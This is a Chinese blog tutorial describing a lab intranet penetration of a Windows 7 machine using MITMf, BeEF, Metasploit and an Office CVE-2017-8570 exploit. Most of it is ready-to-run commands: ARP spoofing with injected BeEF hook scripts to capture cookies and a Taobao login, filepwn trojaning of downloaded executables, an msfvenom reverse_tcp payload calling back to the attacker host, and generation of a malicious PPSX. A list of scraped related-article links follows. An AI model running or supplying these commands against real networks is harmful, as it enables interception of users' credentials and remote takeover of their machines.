小小博客,大大梦想
使用MITMF + MSF +BEEF + CVE-2018-8570实现内网渗透
安装MITMF:目前2019.1a以上的版本kali已经没有携带mitmf,需自行安装,但目前的安装方法已经失效,而我众和多种方案,查阅相关资料,成功安装,以下是我的安装方法。
a)先安装解决所需要的包依赖

apt install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file

b)使用克隆的模式下载到MITMF

git clone https://github.com/byt3bl33dr/MITMF


c)进入MITMF的目录中,进行初始化本地.gitmodules文件git submodule init ,再同步远端submodule 源码git submodule update,最后使用recursive参数进行初始化子模块

cd MITMF && git submodule init && git submodule update –resursive


d)再进行安装

pip install –r requirements.txt


e)启动

注意:我在安装requirements.txt的时候,出现下面截图的错误信息
解决方案:此处的问题是没有安装python-magic使用以下命令解决

pip install python-magic && git clone https://github.com/secretsquirrel/the-backdoor-factory.git && cd the-backdoor-factory && ./install.sh

复现中间人攻击窃取浏览器页面信息
(一)实验环境:KALI,Windows 7
(二)使用工具:KALI下MITMF、Beef
查看MITMF是否安装成功,执行python mitmf.py –help,出现以下截图画面表示成功安装。

开启beef,使用beef-xss命令启动beef

自动弹出登陆界面,用户名和密码默认beef

执行

python mitmf.py --spoof --arp -i eth0 --gateway 192.168.153.2 --target 192.168.153.129 --inject --js-url http://192.168.153.128:3000/hook.js

其中–spoof是 ,–arp表示使用arp攻击,-i接自己的网卡eth0,–gateway表示网关,–targat表示目标主机,–inject表示注入,后面–js-url表示注入js后返回到链接页面。执行情况如下:

此时表示已经成功欺骗

4)当目标靶机打开浏览器访问相关网络时,便会发生xss凌空注入。使用靶机打开淘宝时候,MITMF开始运作,开始进行注入。注入成功后右击查看源代码,可以看到有一串注入成功的xss代码



此时再打开beef的网页发现有目标主机以及访问页面可获得cookie以及操作系统版本、CPU、时间、浏览器信息等

在靶机上点击登陆淘宝的个人账户

在登陆界面输入对应的用户名及密码,zhu和123456

在攻击机里面出现对应的用户名及密码

弹窗的js脚步注入

python mitmf.py --spoof --arp -i eth0 --gateway 192.168.153.2 --target 192.168.153.129 --inject --js-url http://192.168.153.128/1.js


弹框

对目标靶机浏览器进行截图,执行以下命令

python mitmf.py --spoof --arp -i eth0 --gateway 192.168.153.2 --target 192.168.153.129 --screen



启动启动msf,加载msgrpc模块

service postgresql start && msfconsole load msgrpc



为msf设置LHOST和LPORT

修改mitmf的HOST和PORT

vim /usr/share/mitmf/config/mitmf.conf


开启filepwn

mitmf --spoof --arp -i eth0 --gateway 192.168.153.2 --target 192.168.153.129 --filepwn



filepwn的原理就是在靶机下载可执行程序时将木马插入程序里,执行程序时就会启动木马,所以接下来我用靶机下载一个putty程序

接着msf监听到192.168.153.129的回应

使用sessions,查看可用模块

选择sessions 1

sessions –i 1


在此虽然拿到了meterpreter,但是,可能是我的win7版本问题或是MITMF自身问题导致没办法提权,在此这边改为利用CVE-2017-8570漏洞来提取
先生成PPSX文件

python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx
–u http://192.168.153.128/logo.doc


接着生成exe的shell文件

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.153.128 LPORT=6666 -f exe > /tmp/shell.exe


接着使用mitmf的arp欺骗功能,使其打开网页便弹出下载内容


当靶机下载后,使用mtf监听端口,等待靶机连接

成功连接如图下:

拿到meterpreter,使用ipconfig命令

成功提权

教你如何实现中间人攻击相关推荐

  1. kali中间人攻击----盗取账号和密码

    声明: 本案例仅供个实验使用, 并不作任何违法违纪等不正当,请遵守约定. 1.原理解析 在局域网内通信都是通过交换机及路由器连接外部网络的, 对于局域网内大家都使用的一个协议 为ARP协议, 这个协议 ...

  2. 老弟,你连HTTPS 原理都不懂,还给我讲“中间人攻击”,逗我吗...

    点击上方"方志朋",选择"设为星标" 回复"666"获取新整理的面试资料 作者:leapmie 来源:https://urlify.cn/z ...

  3. SSL/TLS中间人攻击

    准备:kali.xp kali ip:192.168.14.157 目标ip:192.168.14.158 目标网关:192.168.14.2 使用工具:ettercap.sslstrip.arpsp ...

  4. GitHub被“中介”攻击了?啥是中间人攻击?

    点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 来源 | 公众号「开源中国」 26 日-27 日,国内无 ...

  5. 中间人攻击框架以及工具,中国寒龙出品欢迎下载!~

    MITMf:中间人攻击框架 MITMF是一个可用于中间人攻击的框架.这个框架是基于Python的,它拥有数个插件,增加了更多的渗透测试方面的功能.一些实用的插件: jskeylogger – 这个插件 ...

  6. 又一轮电邮中间人攻击来袭 企业如何自保?

    Nick Lewis(CISSP,GCWN))是一名信息安全分析师.他主要负责风险管理项目,并支持该项目的技术PCI法规遵从计划.2002年,Nick获得密歇根州立大学的电信理学硕士学位;2005年, ...

  7. 【计算机网络】网络安全 : 实体鉴别 ( 实体鉴别过程 | 不重数机制 | 公钥体质加密不重数 | 中间人攻击 )

    文章目录 一.鉴别分类 二 .简单实体鉴别过程 三 .不重数机制 ( 公钥体质加密 ) 四 .中间人攻击 一.鉴别分类 鉴别分类 : ① 报文鉴别 : 端点鉴别 + 报文完整性鉴别 ; 确认 报文 是 ...

  8. 解析中间人攻击(1/4)---ARP缓存中毒

    本系列将讨论最常被使用的中间人攻击形式,包括ARP缓存中毒攻击(ARP Cache Poisoning).DNS欺骗(DNS Spoofing).HTTP会话劫持等. 导言 用于攻击个人以及企业的最常 ...

  9. (多图)老弟,你连HTTPS 原理都不懂,还给我讲“中间人攻击”,逗我吗...

    HTTPS 随着 HTTPS 建站的成本下降,现在大部分的网站都已经开始用上 HTTPS 协议.大家都知道 HTTPS 比 HTTP 安全,也听说过与 HTTPS 协议相关的概念有 SSL .非对称加 ...

最新文章

  1. Oracle PL/SQL编程学习笔记:Merge方法的使用
  2. GridView直接以excel格式导出到客户端
  3. php 页面生成外部链接,php 获取网页外部链接正则表达式
  4. Devexpress报表开发(二):创建数据报表
  5. 最优化算法python实现篇(2)—无约束一维极值(二分法)
  6. 4ask调制与解调的matlab_LTE中的调制和编码
  7. SAP UI5 get route - local version VS central version
  8. RowVersion字段从SqlServer到PostgreSQL的迁移
  9. 综述 | 卷积神经网络:从基础技术到研究前景
  10. mysql检索面试题目_MySQL面试题目二十七道整理
  11. html代码如何查看视频,Web前端
  12. oracle系列(二)oracle体系结构和用户管理
  13. 【李宏毅2020 ML/DL】P10 Classification_1 | 简单的例子告诉你使用 wx+b 以及 Sigmoid 作为激活函数的合理性
  14. vue表格信息进行空值填充,并使用 *** 修饰隐私信息
  15. Window10环境下安装VMware12
  16. Python如何开发一款连连看脚本,第一必须是我。
  17. 微信小程序获取服务器当前时间,微信小程序服务器日期格式化问题
  18. ISA防火墙的基础应用与配置
  19. QT学习-超漂亮的软件登录界面模块
  20. 如何在微信 [[公众号]]添加小程序卡片

热门文章

  1. 利用Jlink给stm32系列单片机下载Hex和Bin文件
  2. srs源码解析2【http-flv播放】
  3. 计算机毕业设计ssm成都某S店销售管理系统
  4. 【Pytorch】时间序列中LSTM的输入输出理解
  5. 学习优达学城《无人驾驶入门》,你可能会关心的问题
  6. 如何从华为云服务器上找回手机,手机万一丢了,数据该如何找回?华为云空间来帮你...
  7. from 后面的select
  8. AndroidStudio-图片的上传以及存进mysql数据库里
  9. 关于经济被高度控盘的思考:朋友、利益、趋势
  10. ftp. java. jdk_java实现ftp上传下载(jdk1.7以下)